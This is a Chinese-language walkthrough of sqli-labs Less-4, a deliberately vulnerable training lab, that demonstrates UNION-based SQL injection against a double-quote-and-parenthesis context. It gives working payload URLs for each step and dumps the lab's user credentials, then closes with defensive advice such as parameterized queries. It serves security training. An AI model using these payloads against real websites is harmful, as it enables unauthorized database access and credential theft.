目录
[第二步:确定字段数(ORDER BY)](#第二步:确定字段数(ORDER BY))
[第三步:确定显示位(UNION SELECT)](#第三步:确定显示位(UNION SELECT))
引言
在前三关中,我们分别体验了单引号字符型、数字型以及单引号加括号的注入。今天,我们将挑战第四关------一个以双引号加括号包裹参数的注入场景。后台SQL语句形如WHERE id = ("$id"),这意味着我们需要同时闭合双引号和左括号,并注释掉右括号。虽然闭合方式有所变化,但只要掌握了SQL语句的构造规律,任何复杂的闭合都能迎刃而解。接下来,让我们一起进入第四关的实战。
实验环境
-
靶场:sqli-labs(Less-4)
-
目标URL:
http://192.168.179.42:8084/Less-4/?id=1 -
注入类型:字符型注入(双引号加括号)

第一步:判断注入点
首先,访问正常页面:http://192.168.179.42:8084/Less-4/?id=1

页面返回一个用户名和密码(Dumb / Dumb),说明参数id=1被正常处理。猜测后台SQL语句可能是:
sql
SELECT * FROM 某表 WHERE id = ("1") LIMIT 0,1
这里的id值被双引号和括号包围。
为了测试注入点,我们尝试输入一个双引号:
http://192.168.179.42:8084/Less-4/?id=1"

页面报错,错误信息中可以看到("1"" LIMIT 0,1)附近有问题。这说明参数确实被双引号和括号包围。
接下来,我们需要找到正确的闭合方式。尝试输入1")并用注释符--+注释掉后面内容:
http://192.168.179.42:8084/Less-4/?id=1") --+

页面正常显示id=1的数据!说明我们成功闭合了前面的("1,并用注释符去掉了后面的") LIMIT 0,1。原始语句变成了:
SELECT * FROM 某表 WHERE id = ("1") -- ") LIMIT 0,1
因此,第四关的闭合方式是:先输入数字,然后加上"),最后用--+注释。
第二步:确定字段数(ORDER BY)
使用ORDER BY猜测当前查询的列数。注意保留闭合方式。
依次尝试:
http://192.168.179.42:8084/Less-4/?id=1") order by 1 --+→ 正常

-
order by 2→ 正常 -
order by 3→ 正常 -
order by 4→ 报错(Unknown column '4' in 'order clause')

说明只有3列。
第三步:确定显示位(UNION SELECT)
知道字段数为3后,用UNION SELECT找出哪些列会显示在页面上。将id设为不存在的值(如-1),保持闭合方式。
Payload:
http://192.168.179.42:8084/Less-4/?id=-1") union select 1,2,3 --+

页面中,原本显示用户名和密码的位置变成了数字2和3。说明第2列和第3列是显示位。
第四步:获取数据库名
利用database()函数获取当前数据库名,放在第2列。
Payload:
http://192.168.179.42:8084/Less-4/?id=-1") union select 1,database(),3 --+

页面第2列显示security,数据库名为security。
第五步:获取表名
查询information_schema.tables获取当前数据库的所有表名,使用group_concat()合并。
Payload:
http://192.168.179.42:8084/Less-4/?id=-1") union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' --+

页面返回:
emails,referers,uagents,users
users表是我们的目标。
第六步:获取列名
查询users表中的列名,使用information_schema.columns。
Payload:
http://192.168.179.42:8084/Less-4/?id=-1") union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users' --+

页面显示:
id,username,password
第七步:获取数据
最后,从users表中提取username和password,用group_concat连接。
Payload:
http://192.168.179.42:8084/Less-4/?id=-1") union select 1,group_concat(username,0x3a,password),3 from users --+

(0x3a为冒号的十六进制表示)
页面返回所有用户凭证:
Dumb:Dumb,Angelina:I-kill-you,Dummy:p@ssword,secure:crappy,stupid:stupidity,superman:genious,batman:mob!le,admin:admin,admin1:admin1,admin2:admin2,admin3:admin3,dhakkan:dumbo,admin4:admin4
注入成功!
技术原理解析
第四关的闭合方式
第四关的SQL语句为WHERE id = ("$id")。当我们在URL中输入1") --+时,实际拼接到SQL中的是:
text
WHERE id = ("1") -- ")
--注释掉后面的") LIMIT 0,1,使得语句合法且返回id=1的数据。这告诉我们,面对双引号和括号的双重包裹,关键在于找到闭合它们的正确序列:数字 + 双引号 + 右括号。
UNION注入的通用步骤
无论闭合方式如何,一旦确定了列数和显示位,后续的UNION注入流程都是固定的:查库名→查表名→查列名→查数据。这一流程利用了information_schema数据库的元数据信息,是手工注入的标准化操作。
为什么用--+注释?
在原始SQL语句末尾可能包含LIMIT 0,1等额外内容,如果不注释掉会导致语法错误。--+在URL中相当于--(空格),是SQL的标准单行注释符。
防御建议
-
使用参数化查询
参数化查询是防御SQL注入的最有效手段。在PHP中可以使用PDO或MySQLi的预处理语句,确保用户输入不会被拼接到SQL语句中。
php
$stmt = $pdo->prepare("SELECT * FROM users WHERE id = ?"); $stmt->execute([$_GET['id']]); -
输入验证与过滤
对于数字型参数,应强制转换为整型;对于字符串,进行严格的白名单校验或使用过滤函数,但预处理更为安全。
-
最小权限原则
数据库连接账户应仅授予必要的权限,例如只对特定表有SELECT权限,避免攻击者通过注入执行
UNION、INSERT等危险操作。 -
错误信息处理
关闭数据库错误信息的直接输出,防止攻击者通过报错信息推断SQL语句结构。建议自定义错误页面。
-
定期安全审计
使用自动化工具扫描SQL注入漏洞,并对关键代码进行人工审查,确保无安全遗漏。
总结
sqli-labs第四关为我们展示了双引号加括号包裹的字符型注入。虽然闭合方式与前三关不同,但核心思想一致:通过试探找到闭合序列,然后利用UNION查询获取数据。这一关再次强调,任何形式的用户输入拼接都可能引入安全风险,开发者必须采用安全的编码实践。希望这篇实战记录能帮助你全面掌握各类闭合情况下的SQL注入技术。